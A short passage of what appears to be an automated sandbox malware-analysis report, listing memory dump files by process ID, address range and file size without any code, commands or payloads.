    • memory/676-43-0x000007FEF7EB0000-0x000007FEF812A000-memory.dmp
      Filesize

      2.5MB

    • memory/696-5-0x0000000000000000-mapping.dmp
    • memory/800-33-0x0000000000000000-mapping.dmp
    • memory/844-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/844-2-0x0000000072C11000-0x0000000072C14000-memory.dmp
      Filesize

      12KB

    • memory/844-3-0x0000000070691000-0x0000000070693000-memory.dmp
      Filesize

      8KB

    • memory/992-37-0x0000000000000000-mapping.dmp
    • memory/1108-20-0x0000000076881000-0x0000000076883000-memory.dmp
      Filesize

      8KB

    • memory/1108-31-0x0000000000170000-0x0000000000190000-memory.dmp
      Filesize

      128KB

    • memory/1108-32-0x0000000010000000-0x0000000010023000-memory.dmp
      Filesize

      140KB

    • memory/1108-19-0x0000000000000000-mapping.dmp
    • memory/1128-17-0x0000000000000000-mapping.dmp